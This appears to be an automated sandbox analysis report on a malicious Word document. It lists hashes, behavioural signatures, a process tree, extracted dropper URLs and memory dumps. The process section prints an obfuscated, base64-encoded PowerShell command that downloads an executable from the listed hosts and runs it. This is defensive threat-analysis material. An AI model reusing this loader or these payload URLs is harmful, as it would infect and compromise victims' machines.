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Analysis

  • max time kernel
    127s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 23:57

General

  • Target

    67de098686a9b9928af8b96e4587e38a509f17aab35908b95c9061989f80b3f7.doc

  • Size

    171KB

  • MD5

    c8f1839c8400e855fdb9ca4b75642d91

  • SHA1

    943787a71c0e90d345d65b509977f8438d0516ad

  • SHA256

    67de098686a9b9928af8b96e4587e38a509f17aab35908b95c9061989f80b3f7

  • SHA512

    e1f35414dd477f47ecd62554dcbbd53a2953a3209e92ee0a6387df30ad0a330457408d4f17985633cebdd9c95d37b6c3069e74eec1982b76da1583acc94abdfb

  • SSDEEP

    3072:SG4PrXcuQuvpzm4bkiaMQgAlSApJ0aP7qI0DaCppgRyLtGIhRB:8DRv1m4bnQgISCJ0aPkGIhRB

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://departure.world/wp-content/V4GFFNihI/

exe.dropper

http://songbadtv.com/wp-includes/XQrT027149/

exe.dropper

https://planet7vip.com/czy/hR8MMWwRkY/

exe.dropper

http://blog.tujanena.com/ariu/C2LSRbc8/

exe.dropper

http://drsoli.com/k1vjzk/XtSsbRPzyI/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\67de098686a9b9928af8b96e4587e38a509f17aab35908b95c9061989f80b3f7.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAHIAYABPAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAZwBlAG8AaABiAGUAbwBqAHkAYQBlAGMAIAA9ACAAJwA3ADMANAAnADsAJABxAHUAbwB1AHcAcwBpAGEAYgBxAHUAZQBrAHEAdQBlAHUAaAA9ACcAeABhAGUAdABoAGMAbwBlAG0AdABhAG8AeAAnADsAJABtAG8AeQBoAGEAZQBjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABnAGUAbwBoAGIAZQBvAGoAeQBhAGUAYwArACcALgBlAHgAZQAnADsAJABnAGUAdQB6AHAAbwBvAHEAdQB5AGUAZQBmAGoAYQB1AHgAPQAnAGsAbwBpAHcAcQB1AG8AdQBuAGYAZQBhAHQAJwA7ACQAagBvAGkAcAB3AHUAYQBwAD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABJAEUATgBUADsAJABxAHUAZQBpAGoAcgBvAGEAcwA9ACcAaAB0AHQAcAA6AC8ALwBkAGUAcABhAHIAdAB1AHIAZQAuAHcAbwByAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBWADQARwBGAEYATgBpAGgASQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AbgBnAGIAYQBkAHQAdgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWABRAHIAVAAwADIANwAxADQAOQAvACoAaAB0AHQAcABzADoALwAvAHAAbABhAG4AZQB0ADcAdgBpAHAALgBjAG8AbQAvAGMAegB5AC8AaABSADgATQBNAFcAdwBSAGsAWQAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AdAB1AGoAYQBuAGUAbgBhAC4AYwBvAG0ALwBhAHIAaQB1AC8AQwAyAEwAUwBSAGIAYwA4AC8AKgBoAHQAdABwADoALwAvAGQAcgBzAG8AbABpAC4AYwBvAG0ALwBrADEAdgBqAHoAawAvAFgAdABTAHMAYgBSAFAAegB5AEkALwAnAC4AIgBzAFAAYABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHIAbwBhAGsAbABhAGUAaAA9ACcAdABoAG8AYQBtAHgAbwBvAGMAaABvAGIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGgAdQBhAGQAZABlAHUAcgBxAHUAYQBpAGgAagBhAHcAIABpAG4AIAAkAHEAdQBlAGkAagByAG8AYQBzACkAewB0AHIAeQB7ACQAagBvAGkAcAB3AHUAYQBwAC4AIgBkAE8AYAB3AE4AYABsAGAATwBhAGQAZgBpAEwAZQAiACgAJABoAHUAYQBkAGQAZQB1AHIAcQB1AGEAaQBoAGoAYQB3ACwAIAAkAG0AbwB5AGgAYQBlAGMAKQA7ACQAYwBoAGUAdQBrAGMAaABvAGkAdgA9ACcAcgBhAGUAawBxAHUAbwBlAGIAYgBpAG8AeQBwAHUAYQB5ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAbQBvAHkAaABhAGUAYwApAC4AIgBMAEUAYABOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADQAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAEUAQQB0AEUAIgAoACQAbQBvAHkAaABhAGUAYwApADsAJABxAHUAbwB1AHAAZgBvAHUAdABoAD0AJwBjAGUAYQBwAGIAaQBvAGIAdwBpAGEAYgAnADsAYgByAGUAYQBrADsAJABjAGgAYQBvAHEAdQBqAG8AYQBkAGIAdQB0AGgAeQB1AHQAPQAnAGsAZQBpAGIAdgBlAG8AZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABjAGgAaQBlAGoAZwB1AG0AYgBpAGEAcAA9ACcAcQB1AG8AaQBjAGgAYgBhAGUAeABwAGEAbwBzACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1956-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

    • memory/1956-40-0x0000000002890000-0x0000000002898000-memory.dmp

      Filesize

      32KB

    • memory/3068-6-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-32-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-0-0x000000002FBD1000-0x000000002FBD2000-memory.dmp

      Filesize

      4KB

    • memory/3068-7-0x0000000006540000-0x0000000006640000-memory.dmp

      Filesize

      1024KB

    • memory/3068-17-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-8-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-22-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-27-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-33-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-5-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-2-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/3068-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3068-41-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/3068-43-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-44-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-47-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB

    • memory/3068-48-0x0000000004EE0000-0x0000000004FE0000-memory.dmp

      Filesize

      1024KB